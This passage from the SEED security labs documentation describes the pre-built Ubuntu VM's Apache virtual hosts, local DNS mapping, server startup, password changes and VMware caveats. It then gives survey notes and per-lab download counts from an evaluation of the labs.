For each SEED lab that uses the apache2 http server, we have created one or several URLs. Basically, in the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration. The following is a list of URLs that we have pre-configured; their corresponding directories are also listed:

<table>
<thead>
<tr>
<th>URL</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.csrflabphpbb.com">www.csrflabphpbb.com</a></td>
<td>/var/www/CSRF/CSRFLabPhpbb/</td>
</tr>
<tr>
<td><a href="http://www.csrflabattacker.com">www.csrflabattacker.com</a></td>
<td>/var/www/CSRF/Attacker/</td>
</tr>
<tr>
<td><a href="http://www.sqllabmysqlphpbb.com">www.sqllabmysqlphpbb.com</a></td>
<td>/var/www/SQL/SQLLabMysqlPhpbb/</td>
</tr>
<tr>
<td><a href="http://www.xsslabphpbb.com">www.xsslabphpbb.com</a></td>
<td>/var/www/XSS/XSSLabPhpbb/</td>
</tr>
<tr>
<td><a href="http://www.soplab.com">www.soplab.com</a></td>
<td>/var/www/SOP/</td>
</tr>
<tr>
<td><a href="http://www.soplabattacker.com">www.soplabattacker.com</a></td>
<td>/var/www/SOP/attacker/</td>
</tr>
<tr>
<td><a href="http://www.originalphpbb.com">www.originalphpbb.com</a></td>
<td>/var/www/OriginalPhpbb/</td>
</tr>
<tr>
<td><a href="http://www.soplab.com:8080">www.soplab.com:8080</a></td>
<td>/var/www/SOP/</td>
</tr>
</tbody>
</table>

Configuring DNS. The above URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map each domain name to the virtual machine’s local IP address (127.0.0.1). You may map any domain name to a particular IP address using the /etc/hosts. For
example you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts file:

    127.0.0.1 www.example.com

Therefore, if your web server and browser are running on two different machines, you need to modify the /etc/hosts file on the browser’s machine accordingly to map the target domain name to the web server’s IP address.

4.3 Other Servers

DNS server  The DNS server bind9 is installed. It can be started by running "service bind9 start". The configuration files are under /etc/bind/.

Ftp server.  The vsftpd (very secure ftp daemon) server is installed. It can be started by running "service vsftpd start".

Telnet server.  The telnetd server is installed. It can be started by running "service openbsd-inetd start".

5 Miscellaneous Configuration

Time zone  Currently the time zone is set to be New York, adjust that to the time zone of your location.

Display resolution  The current Display resolution is 1024*768. You can change it at “System → Preferences → Display”.

6 Configure Your VM securely

6.1 Change the password

For the sake of security and your own convenience, we suggest that you change the account password. To change the Ubuntu’s account password. You need to login as root and issue the "passwd username" command. To change MySQL’s root password. You can do it as following:

$ mysql -u root -pseedubuntu

    Once in the prompt do this:

mysql> update user set User='NewRootName', Password='NewPassword'
    where user='root';
mysql> flush privileges;
6.2 Configure automatically start service

It’s more convenient to start some commonly used service automatically during the system boot up, although most people do not want to start some server that they do not use.

Currently, most of the service we need for SEED labs are configured not to start automatically. You can use `chkconfig` to get the current configuration. You can also use `chkconfig` to modify the configuration. For example, to start the MySQL server automatically during the system bootup, run "chkconfig mysqld on".

7 Note

7.1 Don’t install VMware Tool on the Ubuntu

Though it is highly recommended to install VMware Tool in a virtual machine, VMware Tool of VMware 6.5.0 can cause a mouse-focus problem. We suggest you not to install VMware Tool on the the pre-built Ubuntu VM. If you are using other versions of VMware, and do want to give it a try, please make a snapshot of your VM image, so that you can recover to the previous state in case it might go wrong.

7.2 Run the VM in proper version of VMWare

This VM is build on VMware Workstation v6.5.0. To use this VM, you should open SEEDUbuntu9.vmx in VMware Workstation v6.5.0(or newer version) or VMware Player. It’s recommended that your host machine which VMware runs on should have at least 1G RAM, and 8G free disk space.

Note for Macintosh Users  The pre-configured virtual machine is not compatible with VMware Fusion 1.x. If you are using VMware Fusion 1.x, then you may download a free upgrade to VMware fusion 2.5 from the following web site http://www.vmware.com/download/fusion/. Our pre-configured virtual machine has been tested on VMware Fusion 2.04 and 2.05.

7.3 X-Server Errors

Some of the labs need to change `/bin/sh`, making it pointing to `/bin/zsh` (originally, it points to `/bin/bash`). If you forget to change it back to bash, you may encounter an X server error during the system bootup. When this error happens, your X server cannot start, and you can only log into system in the text mode. To recover from this problem, follow these steps:

1. Login as root in the command prompt. When the X server error happens, the system will let you log into the root (you need to know the root password) in the text mode.

2. Execute the following commands ("#" is the prompt for root user, do not enter the "#"):

    # mount -o remount /
    # cd /bin
    # rm sh
    # ln -s bash sh

Our goal is to change `/bin/sh` and let it point back to `/bin/bash`. However, if we login as a root at that time, we only have a read-only file system. We need to remount the whole file system to be able to write.
3. Reboot the system. The X Server error should go away.

8 Change Log

Version 1.1 on 25-Aug-2009

- Downloaded and installed libnet-1.0.2a.
- Uninstalled libnet1-dev because it conflict with the new installation.
- Downloaded and installed pacgen-1.01. It’s located on the Desktop of user ‘seed’.

Version 1.0 on 23-Jun-2009

- Created as described above.
Evaluation of SEED Labs

After several years' deployment of SEED labs internally and externally, we have accumulated a significant amount of data for a comprehensive evaluation of our project. Our evaluation focuses on two aspects: the impact on our own students, and the impact on the external students/instructors. The objective of the evaluation results is not only to help us understand more about our labs, but more importantly, they allow the potential users (instructors) to see how our students think about these labs, and whether students from other universities are using our labs.

Survey Results. To measure the impact on our own students, we asked our students to fill out an anonymous survey form when they finish each lab. We have pooled these survey results from Syracuse University and our partner institutes together and plot them in pie charts. The charts are posted in the project web page http://www.cis.syr.edu/~wedu/seed/all_labs.html. The overall feedbacks are very encouraging. We include the charts for a few labs in the following:
Number of External Downloads. To measure the impact on external users is very difficult; however, just like many companies who want to know how customers like their products, we use a similar approach: analyzing web traffic data. We started tracking the downloads of our labs and the related materials since the beginning of this Phase-II project in January 2007. We plot the number of downloads for each lab and the number of total downloads for each month in the following. We have excluded the downloads from our own university. It should be noted that the actual downloads will be more, because some instructors have chosen to host some of the labs on the web servers in their own universities.

```
Number of Downloads for Each Lab
(January 2007 - May 2009)

IPSec             4561
Attacks TCP/IP    3855
Buffer Overflow   2846
Capability         2155
Set-UID            2025
Format String     1845
Race Condition     1828
Return to Libc    1462
Firewall           1395
Attacks XSS        1311
Attacks DNS        1221
SYN Cookies       1175
Memory Randomization    919
Chroot            900
Set-RandomUID     810
Crypto            722
RBAC Capability    717
RBAC Linux         613
Encrypted File Syst 540
Pluggable Authentication Module 450
Attacks SQL Injection 288
Attacks CSRF        232
Role Based Access Control (RBAC)  90
```